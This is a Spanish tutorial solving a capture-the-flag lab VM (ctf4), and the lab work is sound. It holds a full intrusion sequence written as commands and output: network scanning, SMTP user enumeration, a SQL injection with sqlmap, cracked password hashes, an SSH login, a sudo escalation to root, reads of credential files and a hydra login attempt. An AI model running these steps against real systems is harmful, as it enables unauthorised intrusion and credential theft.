Introducción
Antes de pasar a leer el enunciado del desafío, vamos a hacer un reconocimiento previo.
Levantamos la máquina Parrot Security cuya password es usuario, y lanzamos un terminal:
Si la máquina está correctamente instalada y el paquete adicional de VirtualBox está instalado, la ventana debe de redimensionarse al tamaño de nuestra pantalla.
Lo primero que debemos hacer en el terminal es darnos privilegios de root. Eso se hace con el comando:
sudo su
Y a continuación introducimos la contraseña de nuestro usuario, que es usuario.
sudo y su
«En los entornos Linux y UNIX, usamos SU o SUDO para obtener acceso momentáneo a otra cuenta, normalmente la de root, mientras estamos conectados como otro usuario. SU significa usuario sustituto y SUDO significa DO sustituto; aunque la mayoría de la gente piensa incorrectamente que significa superusuario, ya que es la cuenta que se utiliza a menudo. La diferencia más notable entre ambos sería el uso, ya que SU se suele usar solo o con el nombre de usuario sustituto como parámetro. Con SUDO, a menudo se adjunta otro comando y se ejecuta automáticamente después de que la autenticación tenga éxito. Esto es muy útil cuando sólo queremos ejecutar un único comando que requiere acceso de root; los comandos posteriores también tendrían acceso como root.»
Sabemos que tenemos privilegios de administrador mirando el prompt del sistema:
# -> administrador
$ -> usuario normal
Sacamos un terminal y tecleamos:
ifconfig
Y analizamos la información que nos suministra ifconfig:
En primer lugar vemos que tenemos 2 interfaces de red:
enp0s3 -> 172.20.0.23 -> red-nat-1 DHCP
enp0s8 -> 192.168.5.16 -> static
lo -> 127.0.0.1
Observamos que hay dos direcciones IP asignadas por interface de red:
IPv4 por DHCP
IPv6 autoasignada
La dirección de broadcast 172.20.0.255 la configura TCP
Tenemos también la dirección MAC: Los números que aparece después de la palabra ether, es la dirección MAC del adaptador de red.
lo se llama loopback network interface. Esta dirección, 127.0.0.1 se suele utilizar cuando una transmisión de datos tiene como destino el propio host. También se suele usar en tareas de diagnóstico de conectividad y validez del protocolo de comunicación.
Desde el terminal tecleamos:
cat /etc/network/interfaces
El resultado es:
# interfaces(5) file used by ifup(8) and ifdown(8)
# Include files from /etc/network/interfaces.d:
source /etc/network/interfaces.d/*
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto enp0s3
allow-hotplug enp0s3
iface enp0s3 inet dhcp
# The secondary network interface
auto enp0s8
iface enp0s8 inet static
address 192.168.5.16
netmask 255.255.255.0
network 192.168.5.0
broadcast 192.168.5.255
La información que nos da este archivo es que tenemos 3 interfaces de red: el primario, el secundario y lo. Lo ya sabemos lo que es. El primario tiene DHCP y el secundario se define como una IP estática porque así lo hemos decidido para nuestra red.
A continuación ejecutamos:
route -n
Y la información que da es la siguiente:
Esto es la clave para que el equipo sepa el camino de enrutamiento para enviar los paquetes, es decir la tabla interna del router. Hay dos redes asociadas a cada uno de los adaptadores:
enp0s3 -> 172.20.0.0
enp0s8 -> 192.168.5.0
Todo el tráfico que no vaya a ninguna de esas redes sale por la puerta de enlace por defecto que es la:
172.20.0.1
0.0.0.0 -> es la dirección comodín
A continuación, desde el terminal, tecleamos:
arp -a
Y la información que proporciona es:
? (172.20.0.1) at 52:54:00:12:35:00 [ether] on enp0s3
? (172.20.0.3) at 08:00:27:98:12:e1 [ether] on enp0s3
Es decir la relación entre direcciones MAC y direcciones IP.
A continuación desde el terminal, tecleamos:
cat /etc/resolv.conf
y la información que suministra es:
nameserver 80.58.61.250
nameserver 80.58.61.254
Que son los servidores DNS de movistar.
Nuestra máquina metasploit 2 tiene un solo adaptador de red en modo red interna, y la máquina Windows tiene 2 adaptadores en modo red interna y NAT.
A continuación desde el terminal, tecleamos:
netdiscover -i enp0s3 -r 172.20.0.0/24
Y la información que da es:
A continuación desde el terminal tecleamos:
mount
Esta instrucción me da los puntos de montaje. Un dispositivo físico necesita de un punto de montaje para comunicarse con el SO.
Veremos que el resultado de este comando es un chorro de información. A nosotros lo que nos interesa es una frase que dice:
Compartida on /media/sf_Compartida type vboxsf (rw,nodev,relatime)
Si hemos hecho bien la configuración del post 0, ya publicado debimos de crear en la máquina anfitriona Windows, la carpeta:
c:\tmp\Compartida
Esta carpeta nos permitirá transferir información, ficheros , etc entre la máquina anfitriona y la Parrot Security.
Ojo, esta carpeta compartida, se puede poner en cualquier disco de la máquina anfitriona. De hecho, como hemos dicho siempre en otros post, lo suyo es que tengamos todas las máquinas con las que trabajamos en un disco portátil ssd del que ya hemos hablado mas de una vez.
Porque ahí tendríamos todo lo relacionado con la máquina virtual. Es mas, si tenemos varias máquinas anfitrionas, por ejemplo un fijo y un portátil o varios portátiles, nosotros tendremos instalado el virtualbox y las tools del virtualbox en cada máquina. Y lo que es la máquina y todo lo que hayamos trabajado sobre ella, o sobre todas las máquinas que usemos, lo llevamos en nuestro disco ssd. Para ello, tenemos que tener bien claro, que la carpeta compartida, está compartida en la máquina anfitriona , y se hace desde virtual box, aquí:
Para acceder a la carpeta compartida desde la máquina virtualizada:
cd /media/sf_Compartida
y luego:
ls -l
y tendría acceso al contenido de la carpeta compartida. Pero no ocurre lo mismo si quiero ver esa carpeta compartida desde el administrador de archivos de Linux, ya que si bien, desde el terminal tengo permisos para acceder a la carpeta, no ocurre así en el entorno gráfico. Para ello abrimos el archivo /etc/group
pluma /etc/group
Y dejamos la línea 67 de la siguiente manera:
vboxsf:x:128:usuario
Y reiniciamos la máquina. Cuando rearranquemos, tendremos acceso a la carpeta compartida desde el entorno gráfico que siempre es mas cómodo para estos temas de transferencias y copias de archivos.
Enunciado del Primer Desafío
Desde VirtualBox vamos a importar el archivo virtualizado:
C:\CEH_Practical\VMs_nuevas\ctf4.ova
Entramos en VB, Menú: archivo, importar servicio virtualizado:
Next
Terminar.
No hay que abrir nunca las máquinas con doble click, porque pueden quedar mal instaladas. Esperamos a que se complete la importación. Entramos en la configuración. En el apartado de Pantalla cambiamos al controlador gráfico: VMSVGA.
Iniciamos la máquina. Bien, pues ya tenemos nuestra máquina víctima lista para el primer desafío. Se trata de un Fedora, que simplemente minimizo, sin intentar entrar. La dejo ahí, porque se supone que ahora vamos a hackearla desde nuestra máquina atacante Parrot Security. No olvidéis que la situación es que estamos infiltrados en la red interna LAN empresarial y vamos a hackear esta máquina que hemos elegido como víctima.
Arrancamos nuestra máquina Parrot Security si no lo hemos hecho ya. Abrimos un terminal, sudo su, etc. y nos ponemos en disposición de atacar a la máquina víctima.
El enunciado del desafío dice:
. Texto del correo enviado por jdurbin
. La carpeta raíz de publicación del servidor web
. MD5 del fichero /root/.bashrc
. ¿Qué usuarios pueden acceder a la carpeta /restricted a través de la autenticación HTTP BASIC?
Es decir, si el proceso de hackeo de la máquina es exitoso, deberíamos estar en condiciones de responder a esas 4 cuestiones que nos plantean. No sé qué opinaréis vosotros, pero así a simple vista parece un problema irresoluble ¿no?. La única manera de abordar esto es siguiendo una metodología que hemos introducido en la larguísima introducción previa.
No hay otra forma de hacerlo, porque aquí no valen las ideas felices. Estamos atacando un ordenador entero dentro de una red y dentro del mismo puede haber de todo. O seguimos una metodología pasito a pasito o nos perdemos desde el minuto uno.
Y de cara a esa metodología habréis observado que determinadas instrucciones las he marcado en azul. Esas son instrucciones que deberíamos utilizar al inicio de cada ataque. Luego yo iría ya preparando un documento en Word donde ir ya poniendo esas instrucciones, quizá con una pequeña explicación, para utilizarlas de inmediato, sin pararse a pensar qué voy a a hacer. Ese documento será nuestra guía y le llamaremos el cuaderno del hacker.
Antes de levantar la máquina Parrot, añadimos un tercer adaptador de red en modo Host-only.
Entramos en la máquina de ataque Parrot y creamos una carpeta para ir dejando los archivos relacionados con el desafío.
/home/usuario/ceh_practical/ejercicio1
Y abrimos un terminal desde esa carpeta. Sobre ese terminal iremos trabajando.
sudo su
No olvidar abrir la máquina del desafía para el ejercicio1. Dicha máquina es la ctf4, para ello desde VMBox pulsamos archivo, importar servicio virtualizado:
Y buscamos el archivo ctf4.ova. Pulsamos next
Y aquí tenemos que marcar la carpeta base de la máquina del desafío. Yo recomiendo que se haga todo desde el ssd, para tener allí centralizado todo el trabajo, y así solo tengo que desconectar y llevarme el ssd a otra máquina para seguir por donde estaba. Pero realmente se puede dejar donde se quiera. y el fichero .ova que contiene la máquina, puede estar en cualquier sitio, donde vosotros lo tengáis. Esto es solo una cuestión de orden, nada mas. Luego esas carpetas y direcciones que pongo ahí son solo orientativas. Cada uno pondrá la suya en función de la organización de trabajo que haya decidido.
Si hay que tener claro la diferencia entre el archivo de la máquina .ova y la carpeta de trabajo de la máquina.
Un archivo de máquina .ova, es una máquina que ya está instalada y que solo hay que abrir para que funcione.
La carpeta de trabajo de la máquina es la carpeta donde va a estar la máquina o servicio virtualizado ejecutándose, creciendo, cambiando, guardando los archivos que vayamos creando etc.
De ahí la utilidad de la carpeta compartida. Si generamos muchos archivos de trabajo, conviene respaldarlos en la carpeta compartida. Pero nuevamente digo lo de antes. Estos es solo una sugerencia. Cada cual que se organice como quiera.
Bien pues una vez que tenemos ejecutándose nustra máquina del desafío, volvemos a la máquina de ataque parrot:
Reconocemos la red:
ifconfig
Cuyo resultado es:
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.20.0.23 netmask 255.255.255.0 broadcast 172.20.0.255
inet6 fe80::a00:27ff:fe17:27be prefixlen 64 scopeid 0x20<link>
ether 08:00:27:17:27:be txqueuelen 1000 (Ethernet)
RX packets 28064 bytes 37781775 (36.0 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 10161 bytes 1090213 (1.0 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
enp0s8: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.5.16 netmask 255.255.255.0 broadcast 192.168.5.255
inet6 fe80::a00:27ff:fe45:e67d prefixlen 64 scopeid 0x20<link>
ether 08:00:27:45:e6:7d txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 20 bytes 1496 (1.4 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
enp0s9: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.56.103 netmask 255.255.255.0 broadcast 192.168.56.255
inet6 fe80::1808:413f:ca22:5db0 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:8e:07:2a txqueuelen 1000 (Ethernet)
RX packets 345 bytes 66444 (64.8 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3030 bytes 201786 (197.0 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 139756 bytes 7732106 (7.3 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 139756 bytes 7732106 (7.3 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
¿Qué nos quiere decir esto que vemos?
Nosotros hemos ejecutado ifconfig en la máquina de ataque Parrot. Eso quiere decir que me va a listar las redes a las que está conectada la máquina de ataque Parrot. Por teoría básica de redes, sabemos que habrá tantas redes como adaptadores de red, es decir tarjetas de red o NICs (Network Interface Card), tengamos definidas o instaladas en la máquina de ataque Parrot. Como la máquina de ataque Parrot es una máquina virtual, es mas propio decir adaptadores de red definidos, que instalados.
¿Y donde se definen esos adaptadores de red?. Pues en el VBox, en configuración, red. En concreto para nuestra máquina de ataque Parrot, tenemos definidas 3 tarjetas o adaptadores de red:
que se corresponden con:
enp0s3->172.20.0.23
enp0s8->192.168.5.16
enp0s9->192.168.56.103
Estas son las IPs de los adaptadores de red, que se corresponden con las redes:
enp0s3->172.20.0.0/16
enp0s8->192.168.5.0/24
enp0s9->192.168.56.0/24
Es decir cada adaptador de red nos «adapta» o conecta o comunica con una red distinta.
Los nombres enpos son los nombres que asigna Linux a los adaptadores de red. En concreto la red a la que se conecta la máquina del desafío es la última:
192.168.56.0
Luego ya hemos acotado bastante. Ya sabemos la red que debemos atacar. En esa red está nuestra máquina objetivo.
Recordar que la situación de ataque es que ya hemos penetrado en las instalaciones de la organización y estamos dentro de la LAN interna de la organización, y por tanto tenemos acceso directo a la IP de la red interna.
Veamos que nos dice Nmap:
nmap -sP 192.168.56.0/24
Nmap scan report for 192.168.56.1
Host is up (0.00061s latency).
MAC Address: 0A:00:27:00:00:17 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00029s latency).
MAC Address: 08:00:27:29:64:F0 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up (0.0019s latency).
MAC Address: 08:00:27:AA:3C:A2 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.103
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.99 seconds
Bien, pues nmap ha descubierto que en la red:
192.168.56.0/24
Hay 4 equipos conectados a ella con las siguientes IPs:
192.168.56.1
192.168.56.100
192.168.56.101
192.168.56.103
Hay que hacer un escaneo mas en profundidad sobre estas máquinas. Como el escaneo dura bastante vamos a intentar primero un escaneo solo de los puertos mas relevantes:
nmap -F 192.168.56.0/24
Nmap scan report for 192.168.56.1
Host is up (0.00073s latency).
Not shown: 96 filtered tcp ports (no-response)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5357/tcp open wsdapi
MAC Address: 0A:00:27:00:00:17 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00028s latency).
All 100 scanned ports on 192.168.56.100 are in ignored states.
Not shown: 100 filtered tcp ports (proto-unreach)
MAC Address: 08:00:27:29:64:F0 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up (0.0011s latency).
Not shown: 89 filtered tcp ports (no-response), 7 filtered tcp ports (host-prohibited)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
631/tcp closed ipp
MAC Address: 08:00:27:AA:3C:A2 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.103
Host is up (0.0000070s latency).
Not shown: 98 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
3389/tcp open ms-wbt-server
Nmap done: 256 IP addresses (4 hosts up) scanned in 4.02 seconds
Vamos a hacer un escaneo adicional mas extensivo:
nmap -A 192.168.56.0/24
El resultado de este último escaneo es muy extenso para ponerlo aquí. Me iré refiriendo a él y vosotros lo veréis en vuestro equipo. Para esto ya es recomendable ir poniendo todos estos resultados en archivos de texto. Recopilamos todo lo que hemos hecho hasta ahora:
ifconfig > ejercicio1_ifconfig.txt
nmap -sP 192.168.56.0/24 > ejercicio1_nmap_sp.txt
nmap -F 192.168.56.0/24 > ejercicio1_nmap_F.txt
nmap -A 192.168.56.0/24 > ejercicio1_nmap_A.txt
Y así tenemos los resultados guardaditos en ficheros. También podrían haberse utilizado las instrucciones:
nmap -sP 192.168.56.0/24 -oA ejercicio1_nmap_sp.txt
nmap -F 192.168.56.0/24 -oA ejercicio1_nmap_F.txt
nmap -A 192.168.56.0/24 -oA ejercicio1_nmap_A.txt
Que para el caso de los nmaps nos lo vuelca en 3 tipos diferentes de archivo.
A la vista de estos resultados, observamos que el host:
192.168.56.101
es el mas interesante para estudiar primero, porque tiene mas información. Tiene mas puertos abiertos. Esta IP debe ser la de la máquina a atacar, la del desafío, pero lo vamos viendo.
Y sobre este host haremos unos escaneos mas específicos.
nmap –open -p- -A -sT -T4 -n 192.168.56.101 > ejercicio1_red_tcp.txt
nmap -sU -T4 -n 192.168.56.101 –top-ports 500 > ejercicio1_red_udp.txt
nmap -sY -T4 -n 192.168.56.101 –top-ports 500 > ejercicio1_red_sctp.txt
o bien:
nmap –open -p- -A -sT -T4 -n 192.168.56.101 -oA ejercicio1_red_tcp
nmap -sU -T4 -n 192.168.56.101 –top-ports 500 -oA ejercicio1_red_udp
nmap -sY -T4 -n 192.168.56.101 –top-ports 500 -oA ejercicio1_red_sctp
Estos 3 escaneos, rastrean los protocolos TCP, UDP y SCTP. Con ellos tendremos una visión de mas en detalle como por ejemplo, versiones de servicios.
Podríamos haber prescindido del escaneo UDP que además es lento y por eso tiene que limitarse a 500 puertos y el SCTP, porque sabemos que aquí no hay nada de SCTP. No obstante, estos escaneos tienen que figurar en nuestro guión de ataque del cuaderno del hacker.
A la vista de los puertos abiertos que hemos encontrado en el host 101, a saber:
SMTP -> podría enumerar usuarios
SSH -> si consiguiera un usuario y password podría hackear la máquina
httpd -> Apache 2.2.0 podría tener vulnerabilidades.
Existe también un robots.txt -> Es un fichero que contiene información sobre las carpetas que no deben ser indexadas por los crawlers, spiders, etc. Por lo tanto, esas carpetas me interesará ver su contenido.
Sabemos también que el SO es un fedora de kernel 2.6.x y que ese kernel tiene vulnerabilidades.
Como ha aparecido un servidor web, eso implica que hay que enumerar carpetas, porque pueden contener información útil. La instrucción para enumerar carpetas de un servidor web es:
dirb http://192.168.56.101 /usr/share/dirb/wordlists/common.txt -R -o ejercicio1_dirb.txt
A continuación creamos un diccionario de palabras (longitud >=5):
#cewl -w ejercicio1_wordlist -d 2 -m 5 192.168.56.101
cewl es una aplicación de Ruby que rastrea una determinada URL a una profundidad especificada, siguiendo opcionalmente enlaces externos, y devuelve una lista de palabras que pueden ser usadas para crackers de contraseñas como John the Ripper.
Como resultado de la ejecución de cewl contra la IP de la máquina víctima y a una profundidad de 2 (parámetro -d 2) y cuyas palabras tengan longitud >= 5 (parámetro -m 5), tenemos un diccionario, que es el archivo de texto:
ejercicio1_wordlist
Ese fichero de texto tiene 163 líneas. De esas líneas sacamos los posibles nombres de usuario examinándolo visualmente, y salen:
jdurbin
sorzek
dstevens
Con estos tres nombres generamos un fichero de texto de posibles usuarios:
pluma usuarios.txt
Y a continuación metemos los 3 usuarios hallados con cewl.
A continuación intentamos enumerar usuarios con el servicio SMPT, utilizando uno de los cientos y cientos de scripts que hay para nmap
nmap –script=smtp-enum-users.nse 192.168.56.101
Siendo el resultado:
Nmap scan report for 192.168.56.101
Host is up (0.0013s latency).
Not shown: 985 filtered tcp ports (no-response), 11 filtered tcp ports (host-prohibited)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
| smtp-enum-users:
| Method RCPT returned a unhandled status code.
|_ root
80/tcp open http
631/tcp closed ipp
MAC Address: 08:00:27:AA:3C:A2 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 5.45 seconds
No se han podido enumerar usuarios, pero, a continuación y dado que tenemos el puerto tcp 25 abierto que es el puerto de SMTP (Simple Mail Transmission Protocol) vamos a utilizar netcat para conectarnos a la IP de la máquina víctima a través del puerto 25.
nc -v 192.168.56.101 25
Este comando establece una conexión con un socket = IP + puerto. O sea nos hemos conectado al puerto 25, que es el que nos conecta al servidor SMTP (Simple Mail Transfer Protocol).
Una vez introducido este comando, salimos a un entorno sin prompt, que es el servidor SMPT. Tecleamos, por decir algo: help, y bingo!, nos devuelve una lista de comandos SMPT:
14-2.0.0 This is sendmail version 8.13.5
214-2.0.0 Topics:
214-2.0.0 HELO EHLO MAIL RCPT DATA
214-2.0.0 RSET NOOP QUIT HELP VRFY
214-2.0.0 EXPN VERB ETRN DSN AUTH
214-2.0.0 STARTTLS
214-2.0.0 For more info use «HELP <topic>».
214-2.0.0 To report bugs in the implementation send email to
214-2.0.0 sendmail-bugs@sendmail.org.
214-2.0.0 For local information send email to Postmaster at your site.
214 2.0.0 End of HELP info
Esto no es una shell. Es el entorno interactivo de preguntas/respuestas del SMTP. Es un entorno de comandos.
Una lista de 16 comandos SMPT (https://es.wikipedia.org/wiki/Protocolo_para_transferencia_simple_de_correo) entre los que se encontraba, efectivamente HELP. Bueno, pues es cuestión de utilizar estos comandos para tratar de extraer información de usuarios y enumerarlos.
En particular tenemos el comando:
VRFY
Que según el manual sirve para verificar un argumento. Pues nada, vamos a comprobarlo con los posibles usuarios que hemos enumerado antes:
VRFY jdurbin
250 2.1.5 James Durbin <jdurbin@ctf4.sas.upenn.edu>
VRFY sorzek
250 2.1.5 Sally Orzek <sorzek@ctf4.sas.upenn.edu>
VRFY dstevens
250 2.1.5 Don Stevens <dstevens@ctf4.sas.upenn.edu>
Bueno, esta información es muy útil. Tengo ya nombres, apellidos y direcciones de correo. Me la apunto y continúo hacia delante.
Como tengo abierto el puerto 80, he de ejecutar nikto a la IP del servidor
nikto -h 192.168.56.101 -output ejercicio1_nikto.txt
Con nikto hacemos un primera análisis de vulnerabilidades. Guardamos el fichero generado y continuamos con nuestro análisis.
Ahora procedo a analizar la información que me ha proporcionado nikto y ver a que sitios puedo navegar buscando posibles errores o vulnerabilidades
Bien, pues leyendo el fichero, vemos que algunos directorios nos vienen con el calificativo de «LISTABLE», esto quiere decir que puede ponerse su url en un navegador y acceder a ellos directamente.
Voy a ver el contenido del archivo robots.txt navegando hacia:
http://192.168.56.101/robots.txt
Esas carpetas que aparecen en robots.txt me interesa verlas
Pues de entre todos los directorios suministrados por nikto, empiezo navegando hacia:
192.168.56.101/admin
Es un formulario de autenticación, parece interesante. Posible inyección SQL.
Seguimos navegando:
http://192.168.56.101/mail/src/login.php
Otro formulario de autenticación para lo que parece un cliente no muy conocido de correo electrónico.
Seguimos navegando:
http://192.168.56.101/pages/
Entramos en blog.php:
Y nos sale un error que dice:
Blog
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /var/www/html/pages/blog.php on line 9
Al salir este error vemos que tiene una vulnerabilidad. Se podría hacer un posible ataque por inyección SQL. Vamos a profundizar sobre ello, y ver cómo podría hacerse.
Nos dirigimos a la página del blog y lanzamos una prueba de concepto añadiendo una comilla simple (‘) al último parámetro de la petición GET:
Navegamos hacia:
http://192.168.56.101/index.html?page=blog&title=Blog&id=2%27
Y el resultado es:
Confirmamos la posibilidad de una inyección de SQL con un script de nmap específico para ello:
nmap -sV –script=http-sql-injection 192.168.56.101
Cuyo resultado confirma que se puede hacer un ataque por SQL Injection:
Nmap scan report for 192.168.56.101
Host is up (0.0017s latency).
Not shown: 986 filtered tcp ports (no-response), 10 filtered tcp ports (host-prohibited)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
25/tcp open smtp Sendmail 8.13.5/8.13.5
80/tcp open http Apache httpd 2.2.0 ((Fedora))
| http-sql-injection:
| Possible sqli for queries:
| http://192.168.56.101:80/?page=blog&title=Blog&id=2%27%20OR%20sqlspider
| http://192.168.56.101:80/?page=blog&title=Blog&id=6%27%20OR%20sqlspider
| http://192.168.56.101:80/?page=blog&title=Blog&id=5%27%20OR%20sqlspider
|_ http://192.168.56.101:80/?page=blog&title=Blog&id=7%27%20OR%20sqlspider
|_http-server-header: Apache/2.2.0 (Fedora)
631/tcp closed ipp
MAC Address: 08:00:27:AA:3C:A2 (Oracle VirtualBox virtual NIC)
Service Info: Host: ctf4.sas.upenn.edu; OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.78 seconds
Bien, y ahora que ya sabemos que se puede hacer un ataque sql injection, hay que saber cómo se hacen dichos ataques. La herramienta que vamos a usar es sqlmap. A sqlmap hay que proporcionarle como parámetro un fichero de texto que contiene la petición concreta del navegador que tiene el error que posibilita el ataque por sql injection. Esta petición podemos obtenerla con Burp Suite.
Burp Suite es un proxy que actúa como intermediario entre el navegador y el servidor web. Burp suite es el mejor proxy web que hay. Hay una versión de pago que proporciona un escáner de vulnerabilidades. Sale a cuenta pagar esta licencia si haces mucho pentesting.
Abrimos un fichero txt con pluma:
pluma my_request.txt
Y le metemos el siguiente contenido:
GET http://192.168.56.101/index.html?page=blog&title=Blog&id=9-2 HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
DNT: 1
Connection: keep-alive
Referer: http://192.168.56.101/index.html?page=blog&title=Blog
Upgrade-Insecure-Requests: 1
Content-Length: 0
Este contenido lo sacamos de Burp-Suite. Veremos como se hace mas adelante.
Cerramos el fichero my_request.txt y ejecutamos la siguiente instrucción sqlmap para que nos saque las bases de datos asociadas a la aplicación web que estamos hackeando mediante ataque por sql injection:
sqlmap -r my_request.txt –threads=5 –dbs.
Que posteriormente redirigiremos:
sqlmap -r my_request.txt –threads=5 –dbs > ejercicio1_sqlmap.txt
Al final de la ejecución de esta instrucción se nos proporciona una relación de bases de datos:
[*] ehks
[*] information_schema
[*] mysql
[*] roundcubemail
[*] test
Tomamos la primera base de datos y requerimos a sqlmap para que nos proporcione el nombre de las tablas mediante la siguiente instrucción:
sqlmap -r my_request.txt –threads=5 -D ehks –tables
Y el resultado es que tenemos 3 tablas:
Database: ehks
[3 tables]
+———+
| user
| blog
| comment
+———+
Nos interesa la tabla user como podéis imaginar.
Para hacer un volcado de usuarios y passwords, utilizamos la siguiente instrucción de sqlmap:
sqlmap -r my_request.txt –threads=5 -D ehks -T user –dump
Y contestamos lo siguiente a las preguntas que nos hace:
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] Y
[20:53:44] [INFO] writing hashes to a temporary file ‘/tmp/sqlmapdt_xu2xs3715/sqlmaphashes-1ked8g3c.txt’
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
what dictionary do you want to use?
[1] default dictionary file ‘/usr/share/sqlmap/data/txt/wordlist.tx_’ (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[20:56:35] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
Y el resultado es:
Database: ehks
Table: user
[6 entries]
+———+———–+————————————————–+
| user_id | user_name | user_pass |
+———+———–+————————————————–+
| 1 | dstevens | 02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf) |
| 2 | achen | b46265f1e7faa3beab09db5c28739380 (seventysixers) |
| 3 | pmoore | 8f4743c04ed8e5f39166a81f26319bb5 (Homesite) |
| 4 | jdurbin | 7c7bc9f465d86b8164686ebb5151a717 (Sue1978) |
| 5 | sorzek | e0a23947029316880c29e8533d8662a3 (convertible) |
| 6 | ghighland | 9f3eb3087298ff21843cc4e013cf355f (undone1) |
+———+———–+————————————————–+
Y también hacemos lo propio con las otras tablas:
sqlmap -r my_request.txt –threads=5 -D ehks -T blog –dump
sqlmap -r my_request.txt –threads=5 -D ehks -T comment –dump
Con resultado negativo.
Bueno, pues con las credenciales obtenidas intentamos hacer una conexión SSH. Tomo el primero que es dstevens:
ssh dstevens@192.168.56.101
Nos dice que no puede establecer la conexión, pero da el siguiente mensaje:
Unable to negotiate with 192.168.56.101 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha
Entonces adaptamos el comando SSH a la información obtenida:
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc dstevens@192.168.56.101
decimos si a todo, e introducimos la contraseña que hemos crakeado antes:
[dstevens@ctf4 ~]$ whoami
dstevens
[dstevens@ctf4 ~]$ cat /etc/shadow
cat: /etc/shadow: Permission denied
Verificamos si el usuario tiene permisos a través del comando sudo -l:
[dstevens@ctf4 ~]$ sudo -l
Introducimos la password de dstevens (ilike2surf)
Y nos da el siguiente mensaje:
User dstevens may run the following commands on this host:
(ALL) ALL
Y esto ¿Qué quiere decir?. Pues ni mas ni menos que el usuario dstevens puede ejecutar cualquier comando en el servidor. Asi que:
[dstevens@ctf4 ~]$ sudo su
[root@ctf4 dstevens]# whoami
root
Pues ya soy usuario raíz. Esto se llama hacer un escalado de privilegios. Con esto ya estamos en condiciones de contestar a las preguntas del desafío. Lo marcamos en verde:
Calculamos el hash MD5 del fichero /root/.bashrc
[root@ctf4 dstevens]# md5sum /root/.bashrc
c36f10fd0ff59c3bcce088d7a7a6c410 /root/.bashrc
Buscamos la raíz de publicación del servidor web:
[root@ctf4 dstevens]# grep -r -i DocumentRoot /etc/*
Sale un chorro de información, como habréis comprobado, pero de toda esa información nos interesa:
/etc/httpd/conf.d/ssl.conf:#DocumentRoot «/var/www/html«
Ya hemos respondido a 2 de las preguntas del desafío.
Vamos a echar un ojo a los correos enviados por jdurbin. Para ello usaremos ese cliente de correo extraño que vimos mas arriba. Navegamos hacia:
http://192.168.56.101/mail/src/login.php
E introducimos los datos de jdurbin para fisgar en su correo:
Una vez en el correo, vamos a correos enviados (sent) y vemos el correo que envió jdurbin:
Y este correo responde a otra pregunta del desafío. Ya sólo nos queda una.
Los usuarios que pueden acceder a la carpeta restricted a través de la autenticación BASIC:
cat /var/www/html/restricted/.htpasswd
Y el resultado es:
ghighland:8RkVRDjjkJhq6
pmoore:xHaymgB2KxbJU
jdurbin:DPdoXSwmSWpYo
sorzek:z/a8PtVaqxwWg
Con esto último quedan contestadas las 4 preguntas del desafío y por lo tanto, damos por finalizado el mismo. Adicionalmente diremos que podemos atacar la autenticación HTTP BASIC con hydra:
hydra -l dstevens -p ilike2surf -s 80 -f 192.168.56.101 http-get /restricted
